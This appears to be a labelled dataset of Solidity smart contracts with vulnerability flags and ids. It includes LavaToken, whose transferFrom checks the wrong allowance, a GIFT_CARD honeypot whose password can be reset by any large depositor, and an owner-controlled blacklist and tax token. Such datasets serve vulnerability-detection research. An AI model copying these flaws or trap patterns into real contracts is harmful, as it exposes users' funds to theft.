return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000000)) / (15625000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((7812500000).mul(_keys.sq()).add((7499992187500000).mul(_keys.mul(1000000000000000000)))) / ((1000000000000000000).sq()) ;
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "Invalid Length");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "Can NOT start with SPACE");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "CAN NOT Start With 0x");
require(_temp[1] != 0x58, "CAN NOT Start With 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"Include Illegal Characters!"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20,
"ONLY One Space Allowed");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "All Numbers Not Allowed");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Mul Failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "Sub Failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "Add Failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 686 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName;
address relayAuthority;
address from;
address to;
address wallet;
uint256 tokens;
uint256 relayerRewardTokens;
uint256 expires;
uint256 nonce;
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256(
"LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)"
);
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(
LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce
));
}
constructor() public {
}
function() external payable
{
revert();
}
function mutateTokens(address from, uint amount) public returns (bool)
{
require( amount >= 0 );
require( ERC20Interface( masterToken ).transferFrom( from, address(this), amount) );
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), from, amount);
return true;
}
function unmutateTokens( uint amount) public returns (bool)
{
address from = msg.sender;
require( amount >= 0 );
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
require( ERC20Interface( masterToken ).transfer( from, amount) );
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom( address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function _giveRelayerReward( address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)
));
return digest;
}
function _tokenApprovalWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
require( relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()) );
address recoveredSignatureSigner = recover(sigHash,signature);
require(from == recoveredSignatureSigner);
require(address(this) == wallet);
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
require(previousBurnedSignatureValue == 0x0);
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
require(transferFrom( from, to, tokens));
return true;
}
function approveAndCallWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature ) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
function burnSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
require(recoveredSignatureSigner == from);
require(from == msg.sender);
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
require(burnedSignature == 0x0);
return true;
}
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | 1 | 4,060 |
pragma solidity ^0.4.19;
contract GIFT_CARD
{
function Put(bytes32 _hash, uint _unlockTime)
public
payable
{
if(this.balance==0 || msg.value > 100000000000000000)
{
unlockTime = now+_unlockTime;
hashPass = _hash;
}
}
function Take(bytes _pass)
external
payable
{
if(hashPass == keccak256(_pass) && now>unlockTime && msg.sender==tx.origin)
{
msg.sender.transfer(this.balance);
}
}
bytes32 public hashPass;
uint public unlockTime;
function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);}
function() public payable{}
} | 1 | 2,353 |
pragma solidity ^0.4.18;
contract Griefing {
uint public griefCost;
address public owner;
function Griefing(uint _griefCost) public payable {
griefCost=_griefCost;
owner=msg.sender;
}
function () public payable {
require(msg.value==griefCost);
address(0x0).send(this.balance);
}
function getBack() public {
require(msg.sender==owner);
msg.sender.send(this.balance);
}
} | 1 | 2,257 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.9;
pragma abicoder v2;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RiskedNFT is ERC20, Ownable, Pausable {
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private swapThreshold = 0.0000005 ether;
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
mapping (address => bool) private blacklist;
mapping (address => bool) private excludeList;
mapping (string => uint256) private buyTaxes;
mapping (string => uint256) private sellTaxes;
mapping (string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
constructor(string memory _tokenName,string memory _tokenSymbol,uint256 _supply,address[6] memory _addr,uint256[8] memory _value) ERC20(_tokenName, _tokenSymbol) payable
{
initialSupply =_supply * (10**18);
transferOwnership(_addr[5]);
uniswapV2Router02 = IUniswapV2Router02(_addr[1]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH()));
taxWallets["liquidity"] = _addr[0];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[2], _addr[3], _addr[4]);
exclude(msg.sender);
exclude(address(this));
payable(_addr[0]).transfer(msg.value);
_mint(msg.sender, initialSupply);
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
} else if(to == address(uniswapV2Pair)) {
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10**18) / taxSum)) / 10**18;
uint256 marketingETH = (ethGained * ((marketingTokens * 10**18) / taxSum)) / 10**18;
uint256 devETH = (ethGained * ((devTokens * 10**18) / taxSum)) / 10**18;
uint256 charityETH = (ethGained * ((charityTokens * 10**18) / taxSum)) / 10**18;
_approve(address(this), address(uniswapV2Router02), liquidityToken);
(uint amountToken, uint amountETH, uint liquidity) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
taxWallets["marketing"].call{value: marketingETH}("");
taxWallets["dev"].call{value: devETH}("");
taxWallets["charity"].call{value: charityETH}("");
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
taxWallets["marketing"].call{value: ethGained - (marketingETH + devETH + liquidityETH + charityETH)}("");
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override virtual {
require(!paused(), "RiskedNFT: token transfer while paused");
require(!isBlacklisted(msg.sender), "RiskedNFT: sender blacklisted");
require(!isBlacklisted(recipient), "RiskedNFT: recipient blacklisted");
require(!isBlacklisted(tx.origin), "RiskedNFT: sender blacklisted");
if(taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, recipient, amount);
}
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
function pause() public onlyOwner {
require(!paused(), "RiskedNFT: Contract is already paused");
_pause();
}
function unpause() public onlyOwner {
require(paused(), "RiskedNFT: Contract is not paused");
_unpause();
}
function burn(uint256 amount) public onlyOwner {
_burn(msg.sender, amount);
}
function enableBlacklist(address account) public onlyOwner {
require(!blacklist[account], "RiskedNFT: Account is already blacklisted");
blacklist[account] = true;
}
function disableBlacklist(address account) public onlyOwner {
require(blacklist[account], "RiskedNFT: Account is not blacklisted");
blacklist[account] = false;
}
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "RiskedNFT: Account is already excluded");
excludeList[account] = true;
}
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "RiskedNFT: Account is not excluded");
excludeList[account] = false;
}
function setBuyTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
function setSellTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
function setTaxWallets(address dev, address marketing, address charity) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
function enableTax() public onlyOwner {
require(!taxStatus, "RiskedNFT: Tax is already enabled");
taxStatus = true;
}
function disableTax() public onlyOwner {
require(taxStatus, "RiskedNFT: Tax is already disabled");
taxStatus = false;
}
function isBlacklisted(address account) public view returns (bool) {
return blacklist[account];
}
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
receive() external payable {}
} | 1 | 3,500 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
